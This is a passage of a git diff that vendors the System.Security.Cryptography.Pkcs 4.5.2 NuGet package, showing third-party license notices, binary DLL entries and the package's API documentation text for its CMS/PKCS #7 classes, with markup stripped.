OTHER DEALINGS IN +THE SOFTWARE. + +Third party notice for W3C +-------------------------- + +"W3C SOFTWARE AND DOCUMENT NOTICE AND LICENSE +Status: This license takes effect 13 May, 2015. +This work is being provided by the copyright holders under the following license. +License +By obtaining and/or copying this work, you (the licensee) agree that you have read, understood, and will comply with the following terms and conditions. +Permission to copy, modify, and distribute this work, with or without modification, for any purpose and without fee or royalty is hereby granted, provided that you include the following on ALL copies of the work or portions thereof, including modifications: +The full text of this NOTICE in a location viewable to users of the redistributed or derivative work. +Any pre-existing intellectual property disclaimers, notices, or terms and conditions. If none exist, the W3C Software and Document Short Notice should be included. +Notice of any changes or modifications, through a copyright statement on the new code or document such as "This software or document includes material copied from or derived from [title and URI of the W3C document]. Copyright © [YEAR] W3C® (MIT, ERCIM, Keio, Beihang)." +Disclaimers +THIS WORK IS PROVIDED "AS IS," AND COPYRIGHT HOLDERS MAKE NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO, WARRANTIES OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE OR DOCUMENT WILL NOT INFRINGE ANY THIRD PARTY PATENTS, COPYRIGHTS, TRADEMARKS OR OTHER RIGHTS. +COPYRIGHT HOLDERS WILL NOT BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF ANY USE OF THE SOFTWARE OR DOCUMENT. +The name and trademarks of copyright holders may NOT be used in advertising or publicity pertaining to the work without specific, written prior permission. Title to copyright in this work will at all times remain with copyright holders." + +License notice for Bit Twiddling Hacks +-------------------------------------- + +Bit Twiddling Hacks + +By Sean Eron Anderson +seander@cs.stanford.edu + +Individually, the code snippets here are in the public domain (unless otherwise +noted) — feel free to use them however you please. The aggregate collection and +descriptions are © 1997-2005 Sean Eron Anderson. The code and descriptions are +distributed in the hope that they will be useful, but WITHOUT ANY WARRANTY and +without even the implied warranty of merchantability or fitness for a particular +purpose. + +License notice for Brotli +-------------------------------------- + +Copyright (c) 2009, 2010, 2013-2016 by the Brotli Authors. + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. + +compress_fragment.c: +Copyright (c) 2011, Google Inc. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + + * Redistributions of source code must retain the above copyright +notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above +copyright notice, this list of conditions and the following disclaimer +in the documentation and/or other materials provided with the +distribution. + * Neither the name of Google Inc. nor the names of its +contributors may be used to endorse or promote products derived from +this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +""AS IS"" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +decode_fuzzer.c: +Copyright (c) 2015 The Chromium Authors. All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + + * Redistributions of source code must retain the above copyright +notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above +copyright notice, this list of conditions and the following disclaimer +in the documentation and/or other materials provided with the +distribution. + * Neither the name of Google Inc. nor the names of its +contributors may be used to endorse or promote products derived from +this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +""AS IS"" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." + diff --git a/packages/System.Security.Cryptography.Pkcs.4.5.2/lib/net46/System.Security.Cryptography.Pkcs.dll b/packages/System.Security.Cryptography.Pkcs.4.5.2/lib/net46/System.Security.Cryptography.Pkcs.dll new file mode 100644 index 0000000..89869fc Binary files /dev/null and b/packages/System.Security.Cryptography.Pkcs.4.5.2/lib/net46/System.Security.Cryptography.Pkcs.dll differ diff --git a/packages/System.Security.Cryptography.Pkcs.4.5.2/lib/net461/System.Security.Cryptography.Pkcs.dll b/packages/System.Security.Cryptography.Pkcs.4.5.2/lib/net461/System.Security.Cryptography.Pkcs.dll new file mode 100644 index 0000000..e69a31a Binary files /dev/null and b/packages/System.Security.Cryptography.Pkcs.4.5.2/lib/net461/System.Security.Cryptography.Pkcs.dll differ diff --git a/packages/System.Security.Cryptography.Pkcs.4.5.2/lib/netcoreapp2.1/System.Security.Cryptography.Pkcs.dll b/packages/System.Security.Cryptography.Pkcs.4.5.2/lib/netcoreapp2.1/System.Security.Cryptography.Pkcs.dll new file mode 100644 index 0000000..0bf426e Binary files /dev/null and b/packages/System.Security.Cryptography.Pkcs.4.5.2/lib/netcoreapp2.1/System.Security.Cryptography.Pkcs.dll differ diff --git a/packages/System.Security.Cryptography.Pkcs.4.5.2/lib/netstandard1.3/System.Security.Cryptography.Pkcs.dll b/packages/System.Security.Cryptography.Pkcs.4.5.2/lib/netstandard1.3/System.Security.Cryptography.Pkcs.dll new file mode 100644 index 0000000..2707679 Binary files /dev/null and b/packages/System.Security.Cryptography.Pkcs.4.5.2/lib/netstandard1.3/System.Security.Cryptography.Pkcs.dll differ diff --git a/packages/System.Security.Cryptography.Pkcs.4.5.2/lib/netstandard2.0/System.Security.Cryptography.Pkcs.dll b/packages/System.Security.Cryptography.Pkcs.4.5.2/lib/netstandard2.0/System.Security.Cryptography.Pkcs.dll new file mode 100644 index 0000000..6512efc Binary files /dev/null and b/packages/System.Security.Cryptography.Pkcs.4.5.2/lib/netstandard2.0/System.Security.Cryptography.Pkcs.dll differ diff --git a/packages/System.Security.Cryptography.Pkcs.4.5.2/ref/net46/System.Security.Cryptography.Pkcs.dll b/packages/System.Security.Cryptography.Pkcs.4.5.2/ref/net46/System.Security.Cryptography.Pkcs.dll new file mode 100644 index 0000000..89869fc Binary files /dev/null and b/packages/System.Security.Cryptography.Pkcs.4.5.2/ref/net46/System.Security.Cryptography.Pkcs.dll differ diff --git a/packages/System.Security.Cryptography.Pkcs.4.5.2/ref/net461/System.Security.Cryptography.Pkcs.dll b/packages/System.Security.Cryptography.Pkcs.4.5.2/ref/net461/System.Security.Cryptography.Pkcs.dll new file mode 100644 index 0000000..c69dc7b Binary files /dev/null and b/packages/System.Security.Cryptography.Pkcs.4.5.2/ref/net461/System.Security.Cryptography.Pkcs.dll differ diff --git a/packages/System.Security.Cryptography.Pkcs.4.5.2/ref/net461/System.Security.Cryptography.Pkcs.xml b/packages/System.Security.Cryptography.Pkcs.4.5.2/ref/net461/System.Security.Cryptography.Pkcs.xml new file mode 100644 index 0000000..775c8a4 --- /dev/null +++ b/packages/System.Security.Cryptography.Pkcs.4.5.2/ref/net461/System.Security.Cryptography.Pkcs.xml @@ -0,0 +1,760 @@ + + + System.Security.Cryptography.Pkcs + + + + Contains a type and a collection of values associated with that type. + + + Initializes a new instance of the class using an attribute represented by the specified object. + The attribute to store in this object. + + + Initializes a new instance of the class using an attribute represented by the specified object and the set of values associated with that attribute represented by the specified collection. + The attribute to store in this object. + The set of values associated with the attribute represented by the oid parameter. + The collection contains duplicate items. + + + Gets the object that specifies the object identifier for the attribute. + The object identifier for the attribute. + + + Gets the collection that contains the set of values that are associated with the attribute. + The set of values that is associated with the attribute. + + + Contains a set of objects. + + + Initializes a new instance of the class. + + + Initializes a new instance of the class, adding a specified to the collection. + A object that is added to the collection. + + + Adds the specified object to the collection. + The object to add to the collection. + true if the method returns the zero-based index of the added item; otherwise, false. + asnEncodedData is null. + A cryptographic operation could not be completed. + + + Adds the specified object to the collection. + The object to add to the collection. + true if the method returns the zero-based index of the added item; otherwise, false. + asnEncodedData is null. + A cryptographic operation could not be completed. + The specified item already exists in the collection. + + + Copies the collection to an array of objects. + An array of objects that the collection is copied to. + The zero-based index in array to which the collection is to be copied. + One of the arguments provided to a method was not valid. + null was passed to a method that does not accept it as a valid argument. + The value of an argument was outside the allowable range of values as defined by the called method. + + + Gets the number of items in the collection. + The number of items in the collection. + + + Gets a object for the collection. + true if the method returns a object that can be used to enumerate the collection; otherwise, false. + + + Gets the object at the specified index in the collection. + An value that represents the zero-based index of the object to retrieve. + The object at the specified index. + + + Removes the specified object from the collection. + The object to remove from the collection. + attribute is null. + + + Copies the elements of this collection to an array, starting at a particular index. + The one-dimensional array that is the destination of the elements copied from this . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + + + + + + + + + Returns an enumerator that iterates through the collection. + An object that can be used to iterate through the collection. + + + Provides enumeration functionality for the collection. This class cannot be inherited. + + + Gets the current object from the collection. + A object that represents the current cryptographic attribute in the collection. + + + Advances the enumeration to the next object in the collection. + true if the enumeration successfully moved to the next object; false if the enumerator is at the end of the enumeration. + + + Resets the enumeration to the first object in the collection. + + + Gets the current object from the collection. + A object that represents the current cryptographic attribute in the collection. + + + The class defines the algorithm used for a cryptographic operation. + + + The constructor creates an instance of the class by using a set of default parameters. + A cryptographic operation could not be completed. + + + The constructor creates an instance of the class with the specified algorithm identifier. + An object identifier for the algorithm. + A cryptographic operation could not be completed. + + + The constructor creates an instance of the class with the specified algorithm identifier and key length. + An object identifier for the algorithm. + The length, in bits, of the key. + A cryptographic operation could not be completed. + + + The property sets or retrieves the key length, in bits. This property is not used for algorithms that use a fixed key length. + An int value that represents the key length, in bits. + + + The property sets or retrieves the object that specifies the object identifier for the algorithm. + An object that represents the algorithm. + + + The class defines the recipient of a CMS/PKCS #7 message. + + + The constructor constructs an instance of the class by using the specified recipient certificate. + An object that represents the recipient certificate. + A null reference was passed to a method that does not accept it as a valid argument. + A cryptographic operation could not be completed. + + + The constructor constructs an instance of the class by using the specified recipient identifier type and recipient certificate. + A member of the enumeration that specifies the type of the identifier of the recipient. + An object that represents the recipient certificate. + A null reference was passed to a method that does not accept it as a valid argument. + A cryptographic operation could not be completed. + + + The property retrieves the certificate associated with the recipient. + An object that holds the certificate associated with the recipient. + + + The property retrieves the type of the identifier of the recipient. + A member of the enumeration that specifies the type of the identifier of the recipient. + + + The class represents a set of objects. implements the interface. + + + The constructor creates an instance of the class. + + + The constructor creates an instance of the class and adds the specified recipient. + An instance of the class that represents the specified CMS/PKCS #7 recipient. + + + The constructor creates an instance of the class and adds recipients based on the specified subject identifier and set of certificates that identify the recipients. + A member of the enumeration that specifies the type of subject identifier. + An collection that contains the certificates that identify the recipients. + + + The method adds a recipient to the collection. + A object that represents the recipient to add to the collection. + If the method succeeds, the method returns an value that represents the zero-based position where the recipient is to be inserted. + If the method fails, it throws an exception. + recipient is null. + + + The method copies the collection to an array. + An object to which the collection is to be copied. + The zero-based index in array where the collection is copied. + +array is not large enough to hold the specified elements. + +-or- + +array does not contain the proper number of dimensions. + array is null. + index is outside the range of elements in array. + + + The method copies the collection to a array. + An array of objects where the collection is to be copied. + The zero-based index for the array of objects in array to which the collection is copied. + +array is not large enough to hold the specified elements. + +-or- + +array does not contain the proper number of dimensions. + array is null. + index is outside the range of elements in array. + + + The property retrieves the number of items in the collection. + An value that represents the number of items in the collection. + + + The method returns a object for the collection. + A object that can be used to enumerate the collection. + + + The property retrieves the object at the specified index in the collection. + An value that represents the index in the collection. The index is zero based. + A object at the specified index. + The value of an argument was outside the allowable range of values as defined by the called method. + + + The method removes a recipient from the collection. + A object that represents the recipient to remove from the collection. + recipient is null. + + + + + + + + + The method returns a object for the collection. + A object that can be used to enumerate the collection. + + + The class provides enumeration functionality for the collection. implements the interface. + + + The property retrieves the current object from the collection. + A object that represents the current recipient in the collection. + + + The method advances the enumeration to the next object in the collection. + true if the enumeration successfully moved to the next object; false if the enumeration moved past the last item in the enumeration. + + + The method resets the enumeration to the first object in the collection. + + + The property retrieves the current object from the collection. + A object that represents the current recipient in the collection. + + + The class represents the CMS/PKCS #7 ContentInfo data structure as defined in the CMS/PKCS #7 standards document. This data structure is the basis for all CMS/PKCS #7 messages. + + + The constructor creates an instance of the class by using an array of byte values as the data and a default object identifier (OID) that represents the content type. + An array of byte values that represents the data from which to create the object. + A null reference was passed to a method that does not accept it as a valid argument. + + + The constructor creates an instance of the class by using the specified content type and an array of byte values as the data. + An object that contains an object identifier (OID) that specifies the content type of the content. This can be data, digestedData, encryptedData, envelopedData, hashedData, signedAndEnvelopedData, or signedData. For more information, see Remarks. + An array of byte values that represents the data from which to create the object. + A null reference was passed to a method that does not accept it as a valid argument. + + + The property retrieves the content of the CMS/PKCS #7 message. + An array of byte values that represents the content data. + + + The property retrieves the object that contains the object identifier (OID) of the content type of the inner content of the CMS/PKCS #7 message. + An object that contains the OID value that represents the content type. + + + The static method retrieves the outer content type of the encoded message represented by an array of byte values. + An array of byte values that represents the encoded message from which to retrieve the outer content type. + If the method succeeds, the method returns an object that contains the outer content type of the specified encoded message. + If the method fails, it throws an exception. + A null reference was passed to a method that does not accept it as a valid argument. + An error occurred during a cryptographic operation. + + + The class represents a CMS/PKCS #7 structure for enveloped data. + + + The constructor creates an instance of the class. + A null reference was passed to a method that does not accept it as a valid argument. + + + The constructor creates an instance of the class by using the specified content information as the inner content type. + An instance of the class that represents the content and its type. + A null reference was passed to a method that does not accept it as a valid argument. + + + The constructor creates an instance of the class by using the specified content information and encryption algorithm. The specified content information is to be used as the inner content type. + A object that represents the content and its type. + An object that specifies the encryption algorithm. + A null reference was passed to a method that does not accept it as a valid argument. + + + The property retrieves the set of certificates associated with the enveloped CMS/PKCS #7 message. + An collection that represents the X.509 certificates used with the enveloped CMS/PKCS #7 message. If no certificates exist, the property value is an empty collection. + + + The property retrieves the identifier of the algorithm used to encrypt the content. + An object that represents the algorithm identifier. + + + The property retrieves the inner content information for the enveloped CMS/PKCS #7 message. + A object that represents the inner content information from the enveloped CMS/PKCS #7 message. + + + The method decodes the specified enveloped CMS/PKCS #7 message and resets all member variables in the object. + An array of byte values that represent the information to be decoded. + A null reference was passed to a method that does not accept it as a valid argument. + + + The method decrypts the contents of the decoded enveloped CMS/PKCS #7 message by using the private key associated with the certificate identified by the specified recipient information and by using the specified certificate collection. The method searches the specified certificate collection and the My certificate store for the proper certificate to use for the decryption. + A object that represents the recipient information to use for the decryption. + An collection that represents additional certificates to use for the decryption. The method searches this certificate collection and the My certificate store for the proper certificate to use for the decryption. + A null reference was passed to a method that does not accept it as a valid argument. + A cryptographic operation could not be completed. + A method call was invalid for the object&#39;s current state. + + + The method decrypts the contents of the decoded enveloped CMS/PKCS #7 message by using the specified certificate collection. The method searches the specified certificate collection and the My certificate store for the proper certificate to use for the decryption. + An collection that represents additional certificates to use for the decryption. The method searches this certificate collection and the My certificate store for the proper certificate to use for the decryption. + A null reference was passed to a method that does not accept it as a valid argument. + A cryptographic operation could not be completed. + A method call was invalid for the object&#39;s current state. + + + The method decrypts the contents of the decoded enveloped CMS/PKCS #7 message. The method searches the current user and computer My stores for the appropriate certificate and private key. + A cryptographic operation could not be completed. + A method call was invalid for the object&#39;s current state. + + + The method decrypts the contents of the decoded enveloped CMS/PKCS #7 message by using the private key associated with the certificate identified by the specified recipient information. + A object that represents the recipient information that identifies the certificate associated with the private key to use for the decryption. + A null reference was passed to a method that does not accept it as a valid argument. + A cryptographic operation could not be completed. + A method call was invalid for the object&#39;s current state. + + + The method encodes the contents of the enveloped CMS/PKCS #7 message and returns it as an array of byte values. Encryption must be done before encoding. + If the method succeeds, the method returns an array of byte values that represent the encoded information. + If the method fails, it throws an exception. + A method call was invalid for the object&#39;s current state. + + + The method encrypts the contents of the CMS/PKCS #7 message by using the specified recipient information. + A object that represents the recipient information. + A null reference was passed to a method that does not accept it as a valid argument. + A cryptographic operation could not be completed. + + + The method encrypts the contents of the CMS/PKCS #7 message by using the information for the specified list of recipients. The message is encrypted by using a message encryption key with a symmetric encryption algorithm such as triple DES. The message encryption key is then encrypted with the public key of each recipient. + A collection that represents the information for the list of recipients. + A null reference was passed to a method that does not accept it as a valid argument. + A cryptographic operation could not be completed. + + + The property retrieves the recipient information associated with the enveloped CMS/PKCS #7 message. + A collection that represents the recipient information. If no recipients exist, the property value is an empty collection. + + + The property retrieves the unprotected (unencrypted) attributes associated with the enveloped CMS/PKCS #7 message. Unprotected attributes are not encrypted, and so do not have data confidentiality within an object. + A collection that represents the unprotected attributes. If no unprotected attributes exist, the property value is an empty collection. + + + The property retrieves the version of the enveloped CMS/PKCS #7 message. + An int value that represents the version of the enveloped CMS/PKCS #7 message. + + + The class defines key agreement recipient information. Key agreement algorithms typically use the Diffie-Hellman key agreement algorithm, in which the two parties that establish a shared cryptographic key both take part in its generation and, by definition, agree on that key. This is in contrast to key transport algorithms, in which one party generates the key unilaterally and sends, or transports it, to the other party. + + + The property retrieves the date and time of the start of the key agreement protocol by the originator. + The date and time of the start of the key agreement protocol by the originator. + The recipient identifier type is not a subject key identifier. + + + The property retrieves the encrypted recipient keying material. + An array of byte values that contain the encrypted recipient keying material. + + + The property retrieves the algorithm used to perform the key agreement. + The value of the algorithm used to perform the key agreement. + + + The property retrieves information about the originator of the key agreement for key agreement algorithms that warrant it. + An object that contains information about the originator of the key agreement. + + + The property retrieves attributes of the keying material. + The attributes of the keying material. + The recipient identifier type is not a subject key identifier. + + + The property retrieves the identifier of the recipient. + The identifier of the recipient. + + + The property retrieves the version of the key agreement recipient. This is automatically set for objects in this class, and the value implies that the recipient is taking part in a key agreement algorithm. + The version of the object. + + + The class defines key transport recipient information. Key transport algorithms typically use the RSA algorithm, in which an originator establishes a shared cryptographic key with a recipient by generating that key and then transporting it to the recipient. This is in contrast to key agreement algorithms, in which the two parties that will be using a cryptographic key both take part in its generation, thereby mutually agreeing to that key. + + + The property retrieves the encrypted key for this key transport recipient. + An array of byte values that represents the encrypted key. + + + The property retrieves the key encryption algorithm used to encrypt the content encryption key. + An object that stores the key encryption algorithm identifier. + + + The property retrieves the subject identifier associated with the encrypted content. + A object that stores the identifier of the recipient taking part in the key transport. + + + The property retrieves the version of the key transport recipient. The version of the key transport recipient is automatically set for objects in this class, and the value implies that the recipient is taking part in a key transport algorithm. + An int value that represents the version of the key transport object. + + + Represents an attribute used for CMS/PKCS #7 and PKCS #9 operations. + + + Initializes a new instance of the class. + + + Initializes a new instance of the class using a specified object as its attribute type and value. + An object that contains the PKCS #9 attribute type and value to use. + The length of the Value member of the Oid member of asnEncodedData is zero. + The Oid member of asnEncodedData is null. + -or- + The Value member of the Oid member of asnEncodedData is null. + + + Initializes a new instance of the class using a specified object as the attribute type and a specified ASN.1 encoded data as the attribute value. + An object that represents the PKCS #9 attribute type. + An array of byte values that represents the PKCS #9 attribute value. + + + Initializes a new instance of the class using a specified string representation of an object identifier (OID) as the attribute type and a specified ASN.1 encoded data as the attribute value. + The string representation of an OID that represents the PKCS #9 attribute type. + An array of byte values that contains the PKCS #9 attribute value. + + + Copies a PKCS #9 attribute type and value for this from the specified object. + An object that contains the PKCS #9 attribute type and value to use. + asnEncodeData does not represent a compatible attribute type. + asnEncodedData is null. + + + Gets an object that represents the type of attribute associated with this object. + An object that represents the type of attribute associated with this object. + + + The class defines the type of the content of a CMS/PKCS #7 message. + + + The constructor creates an instance of the class. + + + The property gets an object that contains the content type. + An object that contains the content type. + + + Copies information from an object. + The object from which to copy information. + + + The class defines the description of the content of a CMS/PKCS #7 message. + + + The constructor creates an instance of the class. + + + The constructor creates an instance of the class by using the specified array of byte values as the encoded description of the content of a CMS/PKCS #7 message. + An array of byte values that specifies the encoded description of the CMS/PKCS #7 message. + + + The constructor creates an instance of the class by using the specified description of the content of a CMS/PKCS #7 message. + An instance of the class that specifies the description for the CMS/PKCS #7 message. + + + Copies information from an object. + The object from which to copy information. + + + The property retrieves the document description. + A object that contains the document description. + + + The class defines the name of a CMS/PKCS #7 message. + + + The constructor creates an instance of the class. + + + The constructor creates an instance of the class by using the specified array of byte values as the encoded name of the content of a CMS/PKCS #7 message. + An array of byte values that specifies the encoded name of the CMS/PKCS #7 message. + + + The constructor creates an instance of the class by using the specified name for the CMS/PKCS #7 message. + A object that specifies the name for the CMS/PKCS #7 message. + + + Copies information from an object. + The object from which to copy information. + + + The property retrieves the document name. + A object that contains the document name. + + + The class defines the message digest of a CMS/PKCS #7 message. + + + The constructor creates an instance of the class. + + + Copies information from an object. + The object from which to copy information. + + + The property retrieves the message digest. + An array of byte values that contains the message digest. + + + The class defines the signing date and time of a signature. A object can be used as an authenticated attribute of a object when an authenticated date and time are to accompany a digital signature. + + + The constructor creates an instance of the class. + + + The constructor creates an instance of the class by using the specified array of byte values as the encoded signing date and time of the content of a CMS/PKCS #7 message. + An array of byte values that specifies the encoded signing date and time of the CMS/PKCS #7 message. + + + The constructor creates an instance of the class by using the specified signing date and time. + A structure that represents the signing date and time of the signature. + + + Copies information from a object. + The object from which to copy information. + + + The property retrieves a structure that represents the date and time that the message was signed. + A structure that contains the date and time the document was signed. + + + The class represents information associated with a public key. + + + The property retrieves the algorithm identifier associated with the public key. + An object that represents the algorithm. + + + The property retrieves the value of the encoded public component of the public key pair. + An array of byte values that represents the encoded public component of the public key pair. + + + The class represents information about a CMS/PKCS #7 message recipient. The class is an abstract class inherited by the and classes. + + + The abstract property retrieves the encrypted recipient keying material. + An array of byte values that contain the encrypted recipient keying material. + + + The abstract property retrieves the algorithm used to perform the key establishment. + An object that contains the value of the algorithm used to establish the key between the originator and recipient of the CMS/PKCS #7 message. + + + The abstract property retrieves the identifier of the recipient. + A object that contains the identifier of the recipient. + + + The property retrieves the type of the recipient. The type of the recipient determines which of two major protocols is used to establish a key between the originator and the recipient of a CMS/PKCS #7 message. + A value of the enumeration that defines the type of the recipient. + + + The abstract property retrieves the version of the recipient information. Derived classes automatically set this property for their objects, and the value indicates whether it is using PKCS #7 or Cryptographic Message Syntax (CMS) to protect messages. The version also implies whether the object establishes a cryptographic key by a key agreement algorithm or a key transport algorithm. + An value that represents the version of the object. + + + The class represents a collection of objects. implements the interface. + + + The method copies the collection to an array. + An object to which the collection is to be copied. + The zero-based index in array where the collection is copied. + One of the arguments provided to a method was not valid. + A null reference was passed to a method that does not accept it as a valid argument. + The value of an argument was outside the allowable range of values as defined by the called method. + + + The method copies the collection to a array. + An array of objects where the collection is to be copied. + The zero-based index in array where the collection is copied. + One of the arguments provided to a method was not valid. + A null reference was passed to a method that does not accept it as a valid argument. + The value of an argument was outside the allowable range of values as defined by the called method. + + + The property retrieves the number of items in the collection. + An int value that represents the number of items in the collection. + + + The method returns a object for the collection. + A object that can be used to enumerate the collection. + + + The property retrieves the object at the specified index in the collection. + An int value that represents the index in the collection. The index is zero based. + A object at the specified index. + The value of an argument was outside the allowable range of values as defined by the called method. + + + + + + + + + The method returns a object for the collection. + A object that can be used to enumerate the collection. + + + The class provides enumeration functionality for the collection. implements the interface. + + + The property retrieves the current object from the collection. + A object that represents the current recipient information structure in the collection. + + + The method advances the enumeration to the next object in the collection. + This method returns a bool that specifies whether the enumeration successfully advanced. If the enumeration successfully moved to the next object, the method returns true. If the enumeration moved past the last item in the enumeration, it returns false. + + + The method resets the enumeration to the first object in the collection. + + + The property retrieves the current object from the collection. + A object that represents the current recipient information structure in the collection. + + + The enumeration defines the types of recipient information. + + + Key agreement recipient information. + + + + Key transport recipient information. + + + + The recipient information type is unknown. + + + + The class defines the type of the identifier of a subject, such as a or a . The subject can be identified by the certificate issuer and serial number or the subject key. + + + The property retrieves the type of subject identifier. The subject can be identified by the certificate issuer and serial number or the subject key. + A member of the enumeration that identifies the type of subject. + + + The property retrieves the value of the subject identifier. Use the property to determine the type of subject identifier, and use the property to retrieve the corresponding value. + An object that represents the value of the subject identifier. This can be one of the following objects as determined by the property. + property + + Object + + IssuerAndSerialNumber + + SubjectKeyIdentifier + + + + + The class defines the type of the identifier of a subject, such as a or a . The subject can be identified by the certificate issuer and serial number, the hash of the subject key, or the subject key. + + + The property retrieves the type of subject identifier or key. The subject can be identified by the certificate issuer and serial number, the hash of the subject key, or the subject key. + A member of the enumeration that specifies the type of subject identifier. + + + The property retrieves the value of the subject identifier or key. Use the property to determine the type of subject identifier or key, and use the property to retrieve the corresponding value. + An object that represents the value of the subject identifier or key. This can be one of the following objects as determined by the property. + property + + Object + + IssuerAndSerialNumber + + SubjectKeyIdentifier + + PublicKeyInfo + + + + + The enumeration defines how a subject is identified. + + + The subject is identified by the certificate issuer and serial number. + + + + The subject is identified by the public key. + + + + The subject is identified by the hash of the subject key. + + + + The type is unknown. + + + + The enumeration defines the type of subject identifier. + + + The subject is identified by the certificate issuer and serial number. + + + + The subject is identified as taking part in an integrity check operation that uses only a hashing algorithm. + + + + The subject is identified by the hash of the subject&#39;s public key. The hash algorithm used is determined by the signature algorithm suite in the subject&#39;s certificate. + + + + The type of subject identifier is unknown. + + + + Represents the &lt;X509IssuerSerial&gt; element of an XML digital signature. + + + Gets or sets an X.509 certificate issuer&#39;s distinguished name. + An X.509 certificate issuer&#39;s distinguished name. + + + Gets or sets an X.509 certificate issuer&#39;s serial number. + An X.509 certificate issuer&#39;s serial number. + + + \ No newline at end of file diff --git a/packages/System.Security.Cryptography.Pkcs.4.5.2/ref/netcoreapp2.1/System.Security.Cryptography.Pkcs.dll b/packages/System.Security.Cryptography.Pkcs.4.5.2/ref/netcoreapp2.1/System.Security.Cryptography.Pkcs.dll new file mode 100644 index 0000000..1aa064a Binary files /dev/null and b/packages/System.Security.Cryptography.Pkcs.4.5.2/ref/netcoreapp2.1/System.Security.Cryptography.Pkcs.dll differ diff --git a/packages/System.Security.Cryptography.Pkcs.4.5.2/ref/netcoreapp2.1/System.Security.Cryptography.Pkcs.xml b/packages/System.Security.Cryptography.Pkcs.4.5.2/ref/netcoreapp2.1/System.Security.Cryptography.Pkcs.xml new file mode 100644 index 0000000..775c8a4 --- /dev/null +++ b/packages/System.Security.Cryptography.Pkcs.4.5.2/ref/netcoreapp2.1/System.Security.Cryptography.Pkcs.xml @@ -0,0 +1,760 @@ + + + System.Security.Cryptography.Pkcs + + + + Contains a type and a collection of values associated with that type. + + + Initializes a new instance of the class using an attribute represented by the specified object. + The attribute to store in this object. + + + Initializes a new instance of the class using an attribute represented by the specified object and the set of values associated with that attribute represented by the specified collection. + The attribute to store in this object. + The set of values associated with the attribute represented by the oid parameter. + The collection contains duplicate items. + + + Gets the object that specifies the object identifier for the attribute. + The object identifier for the attribute. + + + Gets the collection that contains the set of values that are associated with the attribute. + The set of values that is associated with the attribute. + + + Contains a set of objects. + + + Initializes a new instance of the class. + + + Initializes a new instance of the class, adding a specified to the collection. + A object that is added to the collection. + + + Adds the specified object to the collection. + The object to add to the collection. + true if the method returns the zero-based index of the added item; otherwise, false. + asnEncodedData is null. + A cryptographic operation could not be completed. + + + Adds the specified object to the collection. + The object to add to the collection. + true if the method returns the zero-based index of the added item; otherwise, false. + asnEncodedData is null. + A cryptographic operation could not be completed. + The specified item already exists in the collection. + + + Copies the collection to an array of objects. + An array of objects that the collection is copied to. + The zero-based index in array to which the collection is to be copied. + One of the arguments provided to a method was not valid. + null was passed to a method that does not accept it as a valid argument. + The value of an argument was outside the allowable range of values as defined by the called method. + + + Gets the number of items in the collection. + The number of items in the collection. + + + Gets a object for the collection. + true if the method returns a object that can be used to enumerate the collection; otherwise, false. + + + Gets the object at the specified index in the collection. + An value that represents the zero-based index of the object to retrieve. + The object at the specified index. + + + Removes the specified object from the collection. 